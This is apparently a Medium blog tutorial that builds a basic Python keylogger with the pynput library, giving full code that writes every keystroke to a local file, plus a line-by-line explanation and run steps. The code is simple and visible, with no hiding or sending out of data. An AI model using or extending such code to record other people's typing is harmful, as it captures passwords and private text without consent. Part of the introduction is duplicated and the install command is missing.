Creating a Basic Keylogger in Python: Step-by-Step Guide (Video Link Included)
In this tutorial, we’ll walk through creating a basic keylogger in Python. A keylogger is a program that records all keystrokes on a…
Creating a Basic Keylogger in Python: Step-by-Step Guide (Video Link Included)

[embed]
In this tutorial, we’ll walk through creating a basic keylogger in Python. A keylogger is a program that records all keystrokes on a computer. We’ll also explain each part of the code step-by-step.
Disclaimer
Keyloggers can be used for both ethical and unethical purposes. It is important to use this knowledge responsibly and legally. Always get proper authorization before using a keylogger on any system. The youtube link is not mine — I learned the creation of keylogger from here and attached it for ease of viewers. I made a few changes for the Keylogger to format the output code better.
Prerequisites
- Python installed on your computer
- Basic understanding of Python programming
Step 1: Setting Up Your Environment
- Install Python:
- Download Python from the official Python website.
- Run the installer and check “Add Python to PATH” before clicking “Install Now”.
- Install
pynputLibrary:
- Open a terminal or command prompt.
- Run the following command to install the
pynputlibrary:
In this tutorial, we’ll walk through creating a basic keylogger in Python. A keylogger is a program that records all keystrokes on a computer. We’ll also explain each part of the code step-by-step.
Disclaimer
Keyloggers can be used for both ethical and unethical purposes. It is important to use this knowledge responsibly and legally. Always get proper authorization before using a keylogger on any system.
Prerequisites
- Python installed on your computer
- Basic understanding of Python programming
Step 1: Setting Up Your Environment
- Install Python:
- Download Python from the official Python website.
- Run the installer and check “Add Python to PATH” before clicking “Install Now”.
- Install
pynputLibrary:
- Open a terminal or command prompt.
- Run the following command to install the
pynputlibrary:
from pynput import keyboard
Step 2: Creating the Keylogger
- Create a New Python File:
- Create a new file named
keylogger.py.
- Write the Keylogger Code:
- Open
keylogger.pyand add the following code:
Code Explanation
Let’s break down the code step-by-step.

Importing the Library: We import the keyboard part of the pynput library to listen for keyboard events.
def keyPressed(key):
print(str(key))
with open("keyfile.txt", 'a') as logKey:
try:
if key == keyboard.Key.space: # Check if the spacebar is pressed
logKey.write(' ') # Write a space
else:
char = key.char
logKey.write(char)
except AttributeError:
# Handle special keys here if needed
print("Error getting char")
Defining the keyPressed Function: This function is called every time a key is pressed.
print(str(key)): Prints the key to the console for debugging purposes.with open("keyfile.txt", 'a') as logKey: Openskeyfile.txtin append mode. If the file doesn't exist, it will be created.if key == keyboard.Key.space:: Checks if the pressed key is the spacebar.logKey.write(' '): Writes a space to the file.else: char = key.char: For other keys, it tries to get the character representation.logKey.write(char): Writes the character to the file.except AttributeError: Handles special keys that don't have acharattribute.
def main():
listener = keyboard.Listener(on_press=keyPressed)
listener.start()
input("Press Enter to stop...\n") # Keeps the program running until Enter is pressed
- Defining the
mainFunction: This function sets up and starts the key listener. listener = keyboard.Listener(on_press=keyPressed): Creates a listener for key presses using thekeyPressedfunction.listener.start(): Starts the listener in a separate thread.input("Press Enter to stop...\n"): Keeps the program running until Enter is pressed.
if __name__ == "__main__":
main()
- Entry Point Check: This ensures that
mainis called only if the script is executed directly, not if it is imported as a module.
Full Code
Here’s the complete code for the keylogger:
from pynput import keyboard
def keyPressed(key):
print(str(key))
with open("keyfile.txt", 'a') as logKey:
try:
if key == keyboard.Key.space: # Check if the spacebar is pressed
logKey.write(' ') # Write a space
else:
char = key.char
logKey.write(char)
except AttributeError:
# Handle special keys here if needed
print("Error getting char")
def main():
listener = keyboard.Listener(on_press=keyPressed)
listener.start()
input("Press Enter to stop...\n") # Keeps the program running until Enter is pressed
if __name__ == "__main__":
main()
Step 3: Running the Keylogger
- Run the Script:
- Open a terminal or command prompt.
- Navigate to the folder where your
keylogger.pyis located. - Run the script with the following command:
python keylogger.py
- Test the Keylogger:
- Type some text and observe the keys being printed in the terminal.
- Open
keyfile.txtin your project folder to see the logged keystrokes.
- Stop the Keylogger:
- Press Enter in the terminal to stop the script.
Conclusion
Congratulations! You have successfully created a basic keylogger in Python. This project introduced you to handling keyboard events using the pynput library. Remember to use keyloggers responsibly and legally.
Feel free to explore more features and enhancements to make your keylogger more robust. Happy coding!
메타데이터
- post_id
- b186fd40c3ff
- slug
- creating-a-basic-keylogger-in-python-step-by-step-guide-video-link-included-b186fd40c3ff
- url
- https://medium.com/@zunairakhtar/creating-a-basic-keylogger-in-python-step-by-step-guide-video-link-included-b186fd40c3ff
- canonical_url
- https://medium.com/@zunairakhtar/creating-a-basic-keylogger-in-python-step-by-step-guide-video-link-included-b186fd40c3ff
- author_url
- https://medium.com/@zunairakhtar
- status
- ok
- fetched_at
- 2026-07-15 05:23:04